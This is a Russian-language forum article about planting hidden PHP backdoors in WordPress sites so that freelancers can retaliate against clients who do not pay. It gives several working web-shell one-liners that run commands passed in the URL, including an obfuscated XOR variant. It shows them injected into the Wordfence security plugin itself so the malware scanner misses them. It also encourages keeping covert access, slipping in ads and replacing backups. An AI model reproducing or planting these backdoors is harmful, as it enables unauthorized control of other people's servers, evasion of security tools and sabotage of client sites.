Перед началом сканирования обязательно проверьте целостность ядра используя функционал
монитора качества
.
Содержание:
- Предисловие
- Введение
- Популярный плагин для поиска malware
- Популярные web “backdoor”
- Примеры “backdoor” которые не определяются
- Заключение
Предисловие
Приветствую читателей Codeby.net!
В статье @r0hack привёл пример как фрилансер может подстраховаться от недобросовестного заказчика оставив для себя небольшой backdoor( открытую дверцу…) в коде продукта разработанного на заказ.
Приведённый вариант используется только как пример, ведь такую закладку легко обнаружит стандартный антивирусный сканер, даже стационарный AVG при открытие страницы со статьёй начинает ругаться:
Что говорить уж о специально заточенных продуктах под “web backdoor”, конечно такой код будет сразу же выявлен и обезврежен.
В этой статье рассмотрим варианты “backdoor” которые будет сложнее обнаружить антивирусным сканером, тем не менее это возможно.
Подобные “дверцы” помогут вернуть свои деньги, пусть хотя бы частично.
Ведь имея доступ к исходному коду необязательно его удалять, есть возможность не много подправить, вшить рекламу которая будет приносить небольшой доход, добавить необходимый материал который обличит недобросовестного хозяина, думаю в этом ключе можно многое придумать.
Введение
С выходом PHP 7, часть “web backdoor” отказались работать, даже обнаружили себя осыпав ошибками.Код который не смог обнаружить ни один специализированный антивирусный сканер, выявил сам себя при смене версии PHP.
Конечно альтернативных вариантов осталось достаточно, несколько из которых и будут приведены в статье.
В качестве лаборатории будет взята как наиболее популярная CMS WordPress(
Ссылка скрыта от гостей
,
Ссылка скрыта от гостей
,
Ссылка скрыта от гостей
), в качестве сканера malware выбран самый популярный плагин.
Популярный плагин для поиска malware
В панели управления CMS нажав на кнопку “Добавить новый” (плагин) открывается страница с доступными к установке плагинами, нажав на кнопку “Рекомендуемые” и вбив в поисковой строке ключевое слов “malware”, видим самый популярный плагин ”
Ссылка скрыта от гостей
“
“Более 3 миллионов активных установок” и самая большая оценка среди остальных, это и будет сигнал для теста.
Установив, сразу запустим сканер и убедимся в его “работоспособности” запустив первое сканирование….
Учитывая что CMS только что установлена, так сказать только из печи и не имеет ни одной лишней строчки ( за исключением нового плагина), результат сканирования отрицательный.
Популярные web “backdoor”
В качестве эксперимента добавим однострочный backdoor:
PHP:
<?php echo shell_exec($_GET['cmd']); ?>
В код нескольких файлов, в том числе файла index.php, для полноты закинем отдельный скрипт с этим же backdoor в корень сайта.
Проверим работоспособность:
Теперь снова запустим сканирование:
Учитывая тот момент что плагин установлен до того как backdoor был вшит и сканирование уже было, у плагина есть с чем сравнивать модифицированные файлы, так сказать это некоторая фора для плагина.
Плагин обнаружил модификацию, так же обнаружил зловредный код в файле index.php.
Вроде сканер работает…
Пойдём дальше и закинем в корневую директорию сайта файлы с наиболее популярными однострочными backdoor.
Плагин без труда обнаружил закладки, всего обнаружил 11 вариантов backdoor ( на скрине 12 только потому что файл из первого теста не был удалён.) из более чем 25-ти.
Вот список функций которые выявил плагин:
PHP:
assert();
eval($_GET["cmd"]);
exec();
passthru();
pcntl_exec();
preg_replace();
preg_replace_callback();
shell_exec();
system();
Эти функции так же обнаруживаются многими WAF при атаках на web приложения эксплуатируя уязвимости RCE.
Примеры “backdoor” которые не определяются
Рассмотрим простейшие варианты из наиболее популярных однострочных backdoor, которые не смог выявить установленный плагин, приведу лишь несколько вариантов, на самом деле таких однострочников гораздо больше(к
Ссылка скрыта от гостей
).
Внедрим один из вариантов backdoor в тело самого плагина, файл “wp-content/plugins/wordfence/wordfence.php”:
PHP:
<?php
if (!isset($_GET['cmd']) && !isset($_GET['arg']) ){
// body file
}else{
$a=$_REQUEST['cmd'];
$b=$_REQUEST['arg'];
register_shutdown_function(create_function('', "$a($b);"));
}
Таким образом всё будет работать ( в том числе и сканирование), а при правильном обращение к скрипту будут выполняться необходимые команды:
Так же добавим иные варианты в другие файлы:
PHP:
if (isset($_REQUEST['cmd'])){
$h= popen($_REQUEST['cmd'],'r');
while ($s = fgets($h)) { //fread($h,1024)
echo $s;
}
pclose($h);
}
PHP:
<?php
if (!isset($_GET['cmd']) && !isset($_GET['arg']) ){
// body file
}else{
//.php?cmd=system&arg=whoami
array_map($_REQUEST['cmd'], array($_REQUEST['arg']));
}
В отдельный файл, так же прям в корневую директорию закинем такой backdoor:
PHP:
<?php
//extract.php?a=system&b=whoami
extract($_REQUEST);
$a($b);
?>
Запустим сканирование и посмотрим на результат:
Как видим была выявлена только модификация двух файлов, только файлов самой cms, файл самого плагина не дал положительного результата, но он имеет вшитый backdoor.
Более того в обнаруженных модифицированных файлах не обнаружено ни какого зловредного кода:
Заключение
Учитывая тот момент что ваш код не будет сканирован на модификации, так как не с чем будет сравнивать, то скрыть кусок кода для открытие дверцы в своих исходника будет совсем не сложно.
Ведь это ваш код, вы сами его писали и прекрасно понимаете в какой части можно вставить кусочек который не будет ни чем мешать и не будет привлекать особого внимания, а так как можно обойтись одной строчкой, то вообще с этим не будет проблем.
В случае если необходимо будет оставить backdoor вне вашего кода, подойдёт любая директория CMS.
Если необходимо инфицировать файл который уже существует на сайте, то можно попробовать инфицировать файл плагина который сканирует на присутствие malware в файлах сайта.
В заключение добавлю ещё один вариант однострочного backdoor который не способен определить ни один сканер:
PHP:
<?=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
//.php?_=system&__=whoami
Не работает на php7.
P.S. К чему всё это?….
Скорей всего к вот этому сообщению, точнее наверное ответ участнику @m0ze.
Дают лишь направление, подсказывают идею, в некоторых случаях дают информацию которая способствует реализации этих идей, остальное дело за вами.
Тем более если вы разработчик, то техника реализации не должна вас затруднить.
Повторюсь, необязательно всё крушить, возможно и скрыто вшить свою рекламу которая будет приносить (пусть не большой) доход, заменить уже имеющеюся на свою(это как вариант).
Имея подобную дверцу вы можете закрепиться в системе, заменить уже имеющиеся backup файлы, получить доступ не только к сайту в котором вшит этот backdoor, можете управлять содержимым сайта в своих целях.